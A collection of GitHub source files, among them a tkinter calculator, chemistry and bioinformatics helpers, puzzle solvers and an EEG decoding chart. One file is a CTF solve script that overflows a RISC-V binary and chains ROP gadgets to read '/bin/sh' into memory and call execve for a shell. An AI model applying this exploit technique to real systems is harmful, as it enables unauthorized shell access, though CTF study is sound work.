\"\".join(ans)\n","repo_name":"lee0ray/AlgTest","sub_path":"leetcode/greedy/2375.py","file_name":"2375.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"33756506746","text":"import tkinter as tk\n\nclass Calctiny(tk.Frame):\n def __init__(self, master=None):\n super().__init__(master)\n self.gotEQ = 0\n self.gotOPR = 0\n self.ans = 0\n self.num = \"0\"\n self.opr = ' '\n self.key = ' '\n self.memory= []\n self.values = []\n self.entry1 = tk.Entry(self, width=20, font=('Arial 24'), border=2, fg=\"black\", bg=\"#abbab1\")\n self.entry2 = tk.Entry(self, width=20, font=('Arial 24'), border=2, fg=\"black\", bg=\"#abbab1\")\n self.entry3 = tk.Entry(self, width=20, font=('Arial 24'), border=2, fg=\"black\", bg=\"#abbab1\")\n self.entry4 = tk.Entry(self, width=20, font=('Arial 24'), border=2, fg=\"black\", bg=\"#abbab1\")\n self.btxt = ['MS', 'MR', 'M', 'MC',\n '7', '8', '9', '/',\n '4', '5', '6', '*',\n '1', '2', '3', '-',\n '0', '.', '', '+',\n 'CE', 'C', '', 'Enter'\n ]\n self.buttons = []\n self.L = [\n lambda e: self.handle_number(((e.widget).cget(\"text\"))),\n lambda e: self.handle_operator(((e.widget).cget(\"text\"))),\n lambda e: self.clear_entry(),\n lambda e: self.clear(),\n lambda e: self.memory_store(),\n lambda e: self.enter(),\n lambda e: self.memory_recall(((e.widget).cget(\"text\")))\n \n ]\n self.create_widgets()\n\n def create_widgets(self):\n self.entry1.grid(row=0, column=0, columnspan=4)\n self.entry2.grid(row=1, column=0, columnspan=4)\n self.entry3.grid(row=2, column=0, columnspan=4)\n self.entry4.grid(row=3, column=0, columnspan=4)\n\n for i in range(len(self.btxt)):\n row = i // 4 + 4\n col = i % 4\n if self.btxt[i] == 'Enter':\n button = tk.Button(self, text=self.btxt[i], width=9, height=2, fg=\"white\", bg=\"#FA8072\", font=\"Segoe 12\")\n else:\n button = tk.Button(self, text=self.btxt[i], width=9, height=2, fg=\"white\", bg=\"#333333\", font=\"Segoe 12\")\n button.grid(row=row, column=col)\n button.bind(\"\", self.L[0] if button.cget(\"text\").isdigit() or button.cget(\"text\") == '.' else \\\n self.L[1] if button.cget(\"text\") not in ('CE', 'C', 'MS', 'MR', 'M', 'MC','Enter') else \\\n self.L[2] if button.cget(\"text\") == 'CE' else \\\n self.L[3] if button.cget(\"text\") == 'C' else \\\n self.L[4] if button.cget(\"text\") == 'MS' else \\\n self.L[5] if button.cget(\"text\") == 'Enter' else \\\n self.L[6])\n self.buttons.append(button)\n\n def handle_number(self, text):\n if self.ans != 0:\n self.values.append(self.ans)\n self.num =\"0\"\n self.ans = 0\n self.display() \n \n self.key = text\n if self.key == '.' and '.' in self.num:\n return\n if self.num == '0' and self.key != '.':\n self.num = self.key\n else:\n self.num += self.key\n self.entry4.delete(0, tk.END)\n self.entry4.insert(tk.END, self.num)\n \n def enter(self):\n self.values.append(self.num)\n self.num = '0'\n self.entry4.delete(0, tk.END)\n self.entry4.insert(tk.END, self.num)\n self.display()\n\n\n def handle_operator(self, text):\n if self.ans != 0:\n self.ans = 0\n self.opr = text \n\n #self.values.append(self.num)\n self.ans = str(eval(self.values[-1] + self.opr + self.num))\n self.num = self.ans\n self.values.pop()\n #print(self.values.pop())\n\n self.entry4.delete(0, tk.END)\n self.entry4.insert(tk.END, self.ans)\n\n self.display()\n \n\n def display(self):\n if len(self.values) >= 3:\n self.entry1.delete(0, tk.END)\n self.entry1.insert(tk.END, self.values[-3])\n self.entry2.delete(0, tk.END)\n self.entry2.insert(tk.END, self.values[-2])\n self.entry3.delete(0, tk.END)\n self.entry3.insert(tk.END, self.values[-1])\n elif len(self.values) == 2:\n self.entry1.delete(0, tk.END)\n self.entry1.insert(tk.END, \"\")\n self.entry2.delete(0, tk.END)\n self.entry2.insert(tk.END, self.values[-2])\n self.entry3.delete(0, tk.END)\n self.entry3.insert(tk.END, self.values[-1])\n elif len(self.values) == 1:\n self.entry1.delete(0, tk.END)\n self.entry1.insert(tk.END, \"\")\n self.entry2.delete(0, tk.END)\n self.entry2.insert(tk.END, \"\")\n self.entry3.delete(0, tk.END)\n self.entry3.insert(tk.END, self.values[-1])\n else:\n self.entry1.delete(0, tk.END)\n self.entry1.insert(tk.END, \"\")\n self.entry2.delete(0, tk.END)\n self.entry2.insert(tk.END, \"\")\n self.entry3.delete(0, tk.END)\n self.entry3.insert(tk.END, \"\")\n\n def clear_entry(self):\n self.entry4.delete(0, tk.END)\n self.num = \"0\"\n\n def clear(self):\n self.entry4.delete(0, tk.END)\n self.entry3.delete(0, tk.END)\n self.entry2.delete(0, tk.END)\n self.entry1.delete(0, tk.END)\n self.num = \"0\"\n self.ans = 0\n self.opr = ' '\n self.values=[]\n\n def memory_store(self):\n if self.entry4.get():\n self.memory.append(float(self.entry4.get()))\n #print(self.memory)\n\n def memory_recall(self, text):\n if text == 'MR':\n if self.memory:\n self.entry4.delete(0, tk.END)\n self.entry4.insert(tk.END, str(self.memory[-1]))\n else:\n self.entry4.delete(0, tk.END)\n\n elif text == 'M':\n self.entry4.delete(0, tk.END)\n self.entry4.insert(tk.END, str(self.memory))\n\n elif text == 'MC':\n self.entry4.delete(0, tk.END)\n self.memory =[]\n \nroot = tk.Tk()\nroot.title(\"RPN Calculator\")\nroot.geometry(\"366x470\")\nroot.resizable(0, 0)\nroot.config(bg=\"#333333\")\napp = Calctiny(master=root)\napp.grid()\nroot.mainloop()\n","repo_name":"rjoshi48/Calculator-App","sub_path":"Calculator_RPN.py","file_name":"Calculator_RPN.py","file_ext":"py","file_size_in_byte":6343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"18772262557","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n#基于原子xyz坐标，将所有原子与指定原子按距离从小到大排序\n##指定原子与自身距离为0\n\n#输入待计算分子的SMILES\n#目标的原子基于rdkit的索引Index\n#输入pandas DataFrame,包含'SMILES','Atom_Index',‘x','y','z'索引\n\n#输出原子索引的python list，顺序从小到大\n\nimport numpy as np\nfrom rdkit import Chem\nfrom rdkit.Chem import AllChem\n\ndef L403m(mol,Index):\n\t\n\tatoms=mol.GetAtoms()\n\tdistance_matrix=AllChem.Get3DDistanceMatrix(mol)\n\t\n\tDistance_List=[]\n\tfor atom in atoms:\n\t\tDistance_List.append(distance_matrix[Index,atom.GetIdx()])\n\t\t\n\tOrder_List=np.array(Distance_List).argsort()\n\t\n\treturn Order_List\n\t\n","repo_name":"DeepSynthesis/PSPOC-version-1.0","sub_path":"script/LINKS/L403m.py","file_name":"L403m.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"11281110110","text":"from datetime import datetime\n\nfrom utils import Color\n\n\nclass Pack:\n def __init__(self, date):\n self.date = date\n self.in_transactions = []\n self.payment = 0\n\n def set_payment(self, payment):\n self.payment = payment\n\n def merge(self, other_pack):\n self.payment = self.payment + other_pack.payment\n self.in_transactions.extend(other_pack.in_transactions)\n\n def assign_price_to_transactions(self):\n for transaction in self.in_transactions:\n transaction.price = self.payment / float(len(self.in_transactions))\n\n def __str__(self):\n return \"Pull from pack: {}\".format(\n ','.join([tx.moment.moment for tx in self.in_transactions]),\n )\n\n\ndef get_packs_from_moments(moments):\n packs = {}\n for moment_id in moments:\n moment = moments[moment_id]\n\n for transaction in moment.transactions:\n\n if transaction.tx_type != 'Pack':\n continue\n\n if transaction.price is not None:\n continue\n\n trade_date = transaction.date[:10]\n if trade_date not in packs:\n packs[trade_date] = Pack(trade_date)\n\n pack = packs[trade_date]\n pack.in_transactions.append(transaction)\n\n # sort by dates\n dates = list(packs.keys())\n dates.sort()\n return {sortedKey: packs[sortedKey] for sortedKey in dates}\n\n\ndef merge_packs(packs):\n dates = list(packs.keys())\n i = 0\n while i < len(dates) - 1:\n date = datetime.strptime(dates[i], '%Y-%m-%d').date()\n next_date = datetime.strptime(dates[i + 1], '%Y-%m-%d').date()\n diff = next_date - date\n\n if diff.days == 1:\n print(\"==== MERGE PACKS ====\")\n print(f\"Pack 1 on {Color.GREEN}{dates[i]}{Color.ENDC}, \"\n f\"pulled {Color.RED}{len(packs[dates[i]].in_transactions)}{Color.ENDC} moments:\")\n for transaction in packs[dates[i]].in_transactions:\n print(f\"{transaction.moment.moment} on {Color.GREEN}{transaction.date}{Color.ENDC}\")\n\n print(\"<====>\")\n print(f\"Pack 2 on {Color.GREEN}{dates[i + 1]}{Color.ENDC}, \"\n f\"pulled {Color.RED}{len(packs[dates[i + 1]].in_transactions)}{Color.ENDC} moments:\")\n for transaction in packs[dates[i + 1]].in_transactions:\n print(f\"{transaction.moment.moment} on {Color.GREEN}{transaction.date}{Color.ENDC}\")\n\n print(\"------\")\n\n processed = False\n while not processed:\n response = input(f\"Merge these two packs? ({Color.RED}yes{Color.ENDC}/no)\\n\")\n if response.lower() == 'no':\n processed = True\n print(\"==== SKIPPED ====\\n\")\n elif response.lower() == 'yes' or response == '':\n processed = True\n packs[dates[i]].merge(packs[dates[i + 1]])\n dates.remove(dates[i + 1])\n print(\"==== MERGED ====\\n\")\n else:\n print(\"==== RETRY ====\\n\")\n i = i + 1\n\n # sort by dates\n dates.sort()\n return {sortedKey: packs[sortedKey] for sortedKey in dates}\n\n\ndef resolve_packs(packs):\n for date in packs:\n pack = packs[date]\n\n print(\"==== RESOLVE PACK ====\")\n print(f\"Pack on {Color.GREEN}{date}{Color.ENDC}, \"\n f\"pulled {Color.RED}{len(pack.in_transactions)}{Color.ENDC} moments:\")\n for transaction in pack.in_transactions:\n print(f\"{transaction.moment.moment} on {Color.GREEN}{transaction.date}{Color.ENDC}\")\n print(\"------\")\n\n processed = False\n while not processed:\n payment = input(f\"Input the total payment of these packs: \"\n f\"(default: {Color.RED}0{Color.ENDC}) \\n\"\n f\"{Color.YELLOW}For reward/locker room packs, just put 0{Color.ENDC}\\n\")\n if payment == '':\n payment = '0'\n try:\n pack.set_payment(int(payment))\n processed = True\n except:\n print(\"Error parsing number.\")\n print(\"==== PACK RESOLVED ====\\n\")\n\n pack.assign_price_to_transactions()\n\n","repo_name":"hellohanchen/ts-tax-auditor","sub_path":"pack.py","file_name":"pack.py","file_ext":"py","file_size_in_byte":4264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"42999602193","text":"#!/usr/bin/env python\n\nimport sys\nfrom Bio import SeqIO\nimport markdown\nimport runnable\nfrom quadclasslib import seqlearn, quadclass\n\nclass Runnable(runnable.Runnable):\n ''' Quadclass wrapper for GQ structure prediction. '''\n\n @staticmethod\n def info():\n return {'name': 'Quadclass', 'accepts': 'fasta'}\n\n def __init__(self, data_in, param):\n runnable.Runnable.__init__(self, data_in)\n self.type = runnable.ResultGFF\n self.fields = ['Accession', 'Sequence', 'Topology']\n\n def eval_sequence(self, id, seq, out):\n # Load class list\n gq_classlist = seqlearn.load_classlist('runnables/quadclasslib/gqclass-mono.tsv')\n pval_table = seqlearn.calc_pval(gq_classlist)\n loops = loops = seqlearn.find_fragments(seq.upper())\n candidates = seqlearn.fit(gq_classlist, loops, pval_table)\n configurations = []\n for key in candidates:\n configurations.append('%s:%s/%s' % (key[1], key[0], ','.join(candidates[key])))\n self.result.append( (id, seq, ' '.join(configurations)) )\n out.write('%s %s %s\\n' % self.result[-1][0:3])\n\n def run(self, data_out = None):\n self.planned = 0\n self.processed = 0\n self.result = []\n\n in_type = runnable.file_type(self.data_in)\n score_out = self.out_stream(data_out)\n file_in = self.in_stream()\n\n if in_type == runnable.ResultFasta or in_type == runnable.ResultScore:\n for record in SeqIO.parse(file_in, 'fasta'):\n self.eval_sequence(record.id, str(record.seq), score_out)\n self.processed += 1\n if in_type == runnable.ResultGFF:\n pass\n\n self.planned = self.processed\n\n @staticmethod\n def get_info(param):\n ''' Get GQ class information. '''\n topo = param[0]\n name = param[1].lower()\n info = {}\n # Read description file\n description = quadclass.class_description('runnables/quadclasslib/' + name)\n # First line contains prettified name\n info['name'] = description.pop(0).strip() + ' (%s)' % topo\n info['image'] = topo.lower()\n # Markdown\n info['description'] = markdown.markdown(''.join(description).strip())\n return info\n\ndef main():\n if len(sys.argv) != 2:\n print('%s ' % sys.argv[0])\n sys.exit(1)\n\n matcher = Runnable(sys.argv[1], {})\n matcher.run(data_out = '-')\n\nif __name__ == '__main__':\n main()\n","repo_name":"vavrusa/seqalpha","sub_path":"web/runnables/quadclass.py","file_name":"quadclass.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"}
+{"seq_id":"16435742007","text":"file = open(\"07.txt\", \"r\")\n\ncircuit = {}\nc_data = {}\nfor line in file:\n s = line.strip()\n code, wire = s.split(\" -> \")\n c_parse = code.split()\n\n if len(c_parse) == 1:\n circuit[wire] = {\"cmd\": None, \"o1\": c_parse[0]}\n elif len(c_parse) == 2:\n circuit[wire] = {\"cmd\": \"NOT\", \"o1\": c_parse[1]}\n else:\n circuit[wire] = {\"cmd\": c_parse[1], \"o1\": c_parse[0], \"o2\": c_parse[2]}\n\ndef get_wire(wire):\n global circuit, c_data\n if wire in c_data: return c_data[wire]\n w = circuit[wire]\n #print(wire)\n \n if not w[\"cmd\"]:\n if w[\"o1\"].isdecimal(): signal = int(w[\"o1\"])\n else: signal = get_wire(w[\"o1\"])\n elif w[\"cmd\"] == \"NOT\":\n signal = 65535 - get_wire(w[\"o1\"])\n else:\n if w[\"cmd\"] == \"RSHIFT\":\n signal = get_wire(w[\"o1\"]) >> int(w[\"o2\"])\n elif w[\"cmd\"] == \"LSHIFT\":\n signal = (get_wire(w[\"o1\"]) << int(w[\"o2\"])) % 65536\n else:\n a = int(w[\"o1\"]) if w[\"o1\"].isdecimal() else get_wire(w[\"o1\"])\n b = int(w[\"o2\"]) if w[\"o2\"].isdecimal() else get_wire(w[\"o2\"])\n if w[\"cmd\"] == \"OR\": signal = a | b\n else: signal = a & b\n c_data[wire] = signal\n return signal\n\nanswer = get_wire(\"a\")\nprint(\"Part 1: Wire \\'a\\' signal:\", answer)\n#setting wire 'b' to result and resetting the rest\nc_data = {\"b\": answer}\nanswer = get_wire(\"a\")\nprint(\"Part 2: Wire \\'a\\' signal:\", answer)\n","repo_name":"daExile/advent-of-code","sub_path":"2015/python/day07.py","file_name":"day07.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"7278831182","text":"from collections import deque\nimport sys\nN = int(sys.stdin.readline())\nground = [[-1 for _ in range(N)] for _ in range(N)]\ndx = [-2, -2, 0, 0, 2, 2]\ndy = [-1, 1, -2, 2, -1, 1]\nr1, c1, r2, c2 = map(int, sys.stdin.readline().split())\nq = deque()\nq.append((r1, c1))\nground[r1][c1] = 0\nwhile q:\n x, y = q.popleft()\n for i in range(6):\n nx = x + dx[i]\n ny = y + dy[i]\n if 0<=nx:\tmv\tt1,a0\n 0x41784 <_dl_runtime_resolve+56>:\tld\tra,72(sp)\n 0x41786 <_dl_runtime_resolve+58>:\tld\ta0,8(sp)\n 0x41788 <_dl_runtime_resolve+60>:\tld\ta1,16(sp)\n 0x4178a <_dl_runtime_resolve+62>:\tld\ta2,24(sp)\n 0x4178c <_dl_runtime_resolve+64>:\tld\ta3,32(sp)\n 0x4178e <_dl_runtime_resolve+66>:\tld\ta4,40(sp)\n 0x41790 <_dl_runtime_resolve+68>:\tld\ta5,48(sp)\n 0x41792 <_dl_runtime_resolve+70>:\tld\ta6,56(sp)\n 0x41794 <_dl_runtime_resolve+72>:\tld\ta7,64(sp)\n 0x41796 <_dl_runtime_resolve+74>:\tfld\tfa0,80(sp)\n 0x41798 <_dl_runtime_resolve+76>:\tfld\tfa1,88(sp)\n 0x4179a <_dl_runtime_resolve+78>:\tfld\tfa2,96(sp)\n 0x4179c <_dl_runtime_resolve+80>:\tfld\tfa3,104(sp)\n 0x4179e <_dl_runtime_resolve+82>:\tfld\tfa4,112(sp)\n 0x417a0 <_dl_runtime_resolve+84>:\tfld\tfa5,120(sp)\n 0x417a2 <_dl_runtime_resolve+86>:\tfld\tfa6,128(sp)\n 0x417a4 <_dl_runtime_resolve+88>:\tfld\tfa7,136(sp)\n 0x417a6 <_dl_runtime_resolve+90>:\taddi\tsp,sp,144\n 0x417a8 <_dl_runtime_resolve+92>:\tjr\tt1\n\n '''\n \n '''gad_set_a0\n 0x4602e <__dlopen+42>:\tld\tra,40(sp)\n 0x46030 <__dlopen+44>:\tld\ta0,16(sp)\n 0x46032 <__dlopen+46>:\taddi\tsp,sp,48\n 0x46034 <__dlopen+48>:\tret\n '''\n \n # Constants\n gad_set_all = 0x41782\n gad_set_a0 = 0x4602e\n \n read = 0x00000000000260da\n ecall = 0x1414a\n writeable = 0x0006c000\n start = 0x0000000000010434\n \n # Stage 1\n payload = b\"a\"*40 # padding\n payload += p64(gad_set_a0) # ra register - ret value\n\n # gad set a0\n # 16 bytes padding - a0 value - 16 bytes padding - ra value to ret\n payload += p64(0x69696969)*2 + p64(read) + p64(0x69696969)*2 + p64(gad_set_all)\n\n # gad set all\n payload += p64(0x69696969) # padding\n payload += p64(0) # a0\n payload += p64(writeable) # a1\n payload += p64(0x500) # a2\n payload += p64(0)*5 # padding (a3,a4,a5,a6,a7)\n payload += p64(start) # ra register - ret to start for stage 2\n payload += p64(0)*8 # padding\n \n r.sendline(payload)\n \n pause()\n \n r.sendline('/bin/sh\\0')\n \n pause()\n \n # stage 2\n payload = b\"a\"*40 # padding\n payload += p64(gad_set_a0) # ra register - ret value\n\n # gad set a0\n # 16 bytes padding - a0 value - 16 bytes padding - ra value to ret\n payload += p64(0x69696969)*2 + p64(ecall) + p64(0x69696969)*2 + p64(gad_set_all)\n\n # gad set all\n # setup for execve(\"/bin/sh\", NULL, NULL)\n payload += p64(0x69696969) # padding\n payload += p64(writeable) # a0 : \"/bin/sh\"\n payload += p64(0) # a1 : NULL\n payload += p64(0) # a2 : NULL\n payload += p64(0)*4 # padding\n payload += p64(221) # a7 - syscall number\n payload += p64(0) # ret, not used now\n payload += p64(0)*8 # padding\n \n r.sendline(payload)\n \n r.interactive() # SCTF{Ropping RISCV is no difference!}\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"M0ngi/CTF-Writeups","sub_path":"2022/Hacker's Playground 2022/sources/riscy/deploy/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"27"}
+{"seq_id":"39571622134","text":"# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport getopt\n\n\n\ndef main(argv):\n Q = [\"one_path\",\"triangle\",\"two_path\", \"rectangle\"]\n Data = [\"Amazon2\",\"Amazon1\",\"RoadnetPA\",\"RoadnetCA\",\"Deezer\"]\n eps = 0.1\n i = 0;\n j = 0\n try:\n opts, args = getopt.getopt(argv,\"h:Q:D:e:\",[\"QueryId=\",\"DataId=\",\"Epsilon=\"])\n except getopt.GetoptError:\n print(\"CollectResultsRM.py -Q -D -e \")\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print(\"CollectResultsRM.py -Q -D -e \")\n sys.exit()\n elif opt in (\"-Q\", \"--QueryId\"):\n j = int(arg)\n elif opt in (\"-D\", \"--DataId\"):\n i = int(arg)\n elif opt in (\"-e\", \"--Epsilon\"):\n eps = float(arg)\n cur_path=os.getcwd()\n cmd = \"python \"+cur_path+\"/../Code/RM.py -e \"+str(eps)+\" -d 0.1 -I \"+cur_path+\"/../Information/Graph/\"+Q[j]+\"/\"+Data[i]+\".txt\"\n result = []\n time = 0\n for i in range(10):\n shell = os.popen(cmd, 'r')\n res = shell.read()\n res = res.split()\n a = float(res[2])\n b = float(res[5])\n c = float(res[7])\n result.append(abs(a-b))\n time+=c\n result.sort()\n res = sum(result)-result[0]-result[1]-result[10-1]-result[10-2]\n res = res/6\n time = time/10\n print(\"Error\")\n print(res)\n print(\"Time\")\n print(time)\n\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"hkustDB/Race-to-the-Top","sub_path":"Script/CollectResultsRM.py","file_name":"CollectResultsRM.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"27"}
+{"seq_id":"2082065918","text":"from pprint import pprint\r\nimport random\r\nfrom types import new_class\r\n\r\nfrom PySide6.QtCharts import QChart, QSplineSeries, QValueAxis,QAreaSeries,QLineSeries\r\nfrom PySide6.QtCore import Qt, QTimer, Slot, QPointF, QRect\r\nfrom PySide6.QtGui import QPen, QPainter,QLinearGradient,QGradient,QColor\r\nfrom PySide6.QtWidgets import QApplication\r\nimport sys\r\nimport numpy as np\r\nimport pickle\r\nimport scipy.signal as signal\r\nfrom scipy.signal import cheb2ord\r\nfrom FBCSP import FBCSP\r\nfrom Classifier import Classifier\r\nfrom sklearn.svm import SVR\r\nfrom FilterBank import FilterBank\r\nfrom scipy import stats\r\nimport statistics\r\nfrom time import sleep\r\nimport socket\r\n\r\nclass Chart(QChart):\r\n def __init__(self, data_package = None,real_data = None, parent = None,min = 1,max = 0,EEG_EOG_Cat_classification=None, Errp_data = None):\r\n super().__init__(QChart.ChartTypeCartesian, parent, Qt.WindowFlags())\r\n self.SAMPLE_COUNT = 3000\r\n self._timer = QTimer()\r\n self.data_package = data_package\r\n self.real_data =real_data\r\n self.min = min\r\n self.max = max\r\n self.EEG_EOG_Cat_classification = EEG_EOG_Cat_classification\r\n self.errp_data = Errp_data\r\n\r\n self.series_area_0 = QLineSeries()\r\n self.series_area_1 = QLineSeries()\r\n self.series_area_0.append(QPointF(2550, (data_package.shape[0]) * (max-min)))\r\n self.series_area_0.append(QPointF(2950, (data_package.shape[0]) * (max-min)))\r\n self.series_area_1.append(QPointF(2550, min+ 2*(max-min)))\r\n self.series_area_1.append(QPointF(2950, min+ 2*(max-min)))\r\n self.area_series = QAreaSeries(self.series_area_0, self.series_area_1)\r\n self.gradient = QLinearGradient(QPointF(0, 0), QPointF(0, 1))\r\n self.gradient.setColorAt(0.0, QColor(0,0,255,50))\r\n self.gradient.setColorAt(0.5, QColor(0,0,255,50))\r\n self.gradient.setColorAt(1, QColor(0,0,255,50))\r\n self.gradient.setCoordinateMode(QGradient.ObjectBoundingMode)\r\n self.area_series.setBrush(self.gradient)\r\n block_pen = QPen(Qt.transparent)\r\n self.area_series.setPen(block_pen)\r\n\r\n self.series_area_2 = QLineSeries()\r\n self.series_area_3 = QLineSeries()\r\n self.series_area_2.append(QPointF(2550, max))\r\n self.series_area_2.append(QPointF(2950, max))\r\n self.series_area_3.append(QPointF(2550, min))\r\n self.series_area_3.append(QPointF(2950, min))\r\n self.area_series_eog = QAreaSeries(self.series_area_2, self.series_area_3)\r\n gradient_eog = QLinearGradient(QPointF(0, 0), QPointF(0, 1))\r\n gradient_eog.setColorAt(0.0, QColor(255,0,100,150))\r\n gradient_eog.setColorAt(0.5, QColor(255,0,100,150))\r\n gradient_eog.setColorAt(1, QColor(255,0,100,150))\r\n gradient_eog.setCoordinateMode(QGradient.ObjectBoundingMode)\r\n self.area_series_eog.setBrush(gradient_eog)\r\n self.area_series_eog.setPen(block_pen)\r\n self.addSeries(self.area_series_eog)\r\n\r\n self.series_area_4 = QLineSeries()\r\n self.series_area_5 = QLineSeries()\r\n self.series_area_4.append(QPointF(2550, data_package.shape[0] * (max-min)))\r\n self.series_area_4.append(QPointF(2950, data_package.shape[0] * (max-min)))\r\n self.series_area_5.append(QPointF(2550, min))\r\n self.series_area_5.append(QPointF(2950, min))\r\n self.area_series_errp = QAreaSeries(self.series_area_4, self.series_area_5)\r\n self.gradient_errp = QLinearGradient(QPointF(0, 0), QPointF(0, 1))\r\n self.gradient_errp.setColorAt(0.0, QColor(255,255,255,150))\r\n self.gradient_errp.setColorAt(0.5, QColor(255,255,255,150))\r\n self.gradient_errp.setColorAt(1, QColor(255,255,255,150))\r\n self.gradient_errp.setCoordinateMode(QGradient.ObjectBoundingMode)\r\n self.area_series_errp.setBrush(self.gradient_errp)\r\n block_pen = QPen(Qt.transparent)\r\n self.area_series.setPen(block_pen)\r\n self.addSeries(self.area_series_errp)\r\n self.area_series_errp.setVisible(False)\r\n\r\n self.series_area_6 = QLineSeries()\r\n self.series_area_7 = QLineSeries()\r\n self.series_area_6.append(QPointF(2550, max+(max-min)))\r\n self.series_area_6.append(QPointF(2950, max+(max-min)))\r\n self.series_area_7.append(QPointF(2550, min+(max-min)))\r\n self.series_area_7.append(QPointF(2950, min+(max-min)))\r\n self.area_series_labels = QAreaSeries(self.series_area_6, self.series_area_7)\r\n self.gradient_labels = QLinearGradient(QPointF(0, 0), QPointF(0, 1))\r\n self.gradient_labels.setColorAt(0.0, QColor(0,0,255,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(0,0,255,255))\r\n self.gradient_labels.setColorAt(1, QColor(0,0,255,255))\r\n self.gradient_labels.setCoordinateMode(QGradient.ObjectBoundingMode)\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n self.area_series_labels.setPen(block_pen)\r\n self.addSeries(self.area_series_labels)\r\n self.area_series.setBrush(self.gradient)\r\n block_pen = QPen(Qt.transparent)\r\n self.area_series.setPen(block_pen)\r\n self._titles = []\r\n self._axisX = QValueAxis()\r\n self._axisY = QValueAxis()\r\n self._step = 0\r\n self._x = 5\r\n self._y = 1\r\n self._timer.timeout.connect(self.handleTimeout)\r\n self._timer.setInterval(50)\r\n self.green = QPen(0xFFFF55)\r\n self.green.setWidth(1.5)\r\n self._axisY.setGridLineVisible(False)\r\n self._axisX.setGridLineVisible(False)\r\n self._axisX.hide()\r\n self._axisX.setLabelsVisible(False)\r\n self.my_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)\r\n self.ip = '127.0.0.1'\r\n self.port = 8888\r\n self.ip_address = (self.ip, self.port)\r\n self.addSeries(self.area_series)\r\n self.all_series = []\r\n self.all_buffers = []\r\n EOG_Pen = QPen(0x00FF00)\r\n EOG_Pen.setWidth(2)\r\n for i in range(self.data_package.shape[0]):\r\n self.temp_series = QLineSeries(self)\r\n if(i == 0 or i== 1):\r\n self.temp_series.setPen(EOG_Pen)\r\n else:\r\n self.temp_series.setPen(self.green)\r\n self.all_series.append(self.temp_series)\r\n\r\n for i in range(len(self.all_series)):\r\n self.addSeries(self.all_series[i])\r\n\r\n self.setBackgroundBrush(Qt.black)\r\n self.addAxis(self._axisX, Qt.AlignBottom)\r\n self.addAxis(self._axisY, Qt.AlignLeft)\r\n self.area_series.attachAxis(self._axisX)\r\n self.area_series.attachAxis(self._axisY)\r\n self.area_series_eog.attachAxis(self._axisX)\r\n self.area_series_eog.attachAxis(self._axisY)\r\n self.area_series_labels.attachAxis(self._axisX)\r\n self.area_series_labels.attachAxis(self._axisY)\r\n self.area_series_errp.attachAxis(self._axisX)\r\n self.area_series_errp.attachAxis(self._axisY)\r\n self._axisX.setTickCount(self.SAMPLE_COUNT)\r\n self._axisX.setRange(0, self.SAMPLE_COUNT)\r\n self._axisY.setRange(min, (max-min)*len(self.all_series))\r\n self._timer.start()\r\n self.signal_index = 0\r\n self.flag_mi_decoding = False\r\n for i in range(len(self.all_series)):\r\n self.temp_buffer = [QPointF(x, i*(max-min)) for x in range(self.SAMPLE_COUNT)]\r\n self.all_buffers.append(self.temp_buffer)\r\n self.all_series[i].append(self.all_buffers[i])\r\n for i in range(len(self.all_series)):\r\n self.all_series[i].attachAxis(self._axisX)\r\n self.all_series[i].attachAxis(self._axisY)\r\n self.eog_flag = 0\r\n self.decoding_loops = 0\r\n with open(r'classification_models/fbcsp.pkl', 'rb') as f:\r\n m_filters = 2\r\n self.fbcsp = FBCSP(m_filters)\r\n self.fbcsp = pickle.load(f)\r\n self.freq =250\r\n with open(r'classification_models/Errp_rieman.pkl', 'rb') as f:\r\n self.errp_classifier = pickle.load(f)\r\n self.fbank = FilterBank(self.freq)\r\n fbank_coeff = self.fbank.get_filter_coeff()\r\n with open(r'classification_models/fbcsp_classifier.pkl', 'rb') as e:\r\n classifier_type = SVR(gamma='auto')\r\n self.fbcsp_classifier = Classifier(classifier_type)\r\n self.fbcsp_classifier = pickle.load(e)\r\n self.eog_triggered_time = 0\r\n self.mi_end = True\r\n self.start_position = -1\r\n self.eog_start_pos = 0\r\n self.errp_flag = False\r\n self.errp_decoding_loops = 0\r\n self.mi_results_temp = []\r\n self.errp_results_temp = []\r\n\r\n def get_multi_class_regressed(self, y_predicted):\r\n y_predict_multi = np.asarray([np.argmin(y_predicted[i,:]) for i in range(y_predicted.shape[0])])\r\n return y_predict_multi\r\n \r\n def identify_eog(self, eeg_data):\r\n feature = np.array([np.std(eeg_data), np.mean(eeg_data), np.min(eeg_data), np.max(eeg_data)]).reshape(1,-1)\r\n with open(r'classification_models/classifier.pkl', 'rb') as f:\r\n clf = pickle.load(f)\r\n result = int(clf.predict(feature))\r\n return result\r\n \r\n def errp_decoding(self):\r\n if(self.errp_decoding_loops<=4):\r\n errp_temp = self.errp_data[:,self.signal_index-450:self.signal_index-240]\r\n result = self.errp_classifier.predict(np.expand_dims(errp_temp, axis=0))[0]\r\n print('Errp results:',result)\r\n if(int(result) == 1):\r\n self.area_series_errp.setVisible(True)\r\n else:\r\n self.area_series_errp.setVisible(False)\r\n self.errp_decoding_loops += 1\r\n self.errp_results_temp.append(result)\r\n else:\r\n classification_result= 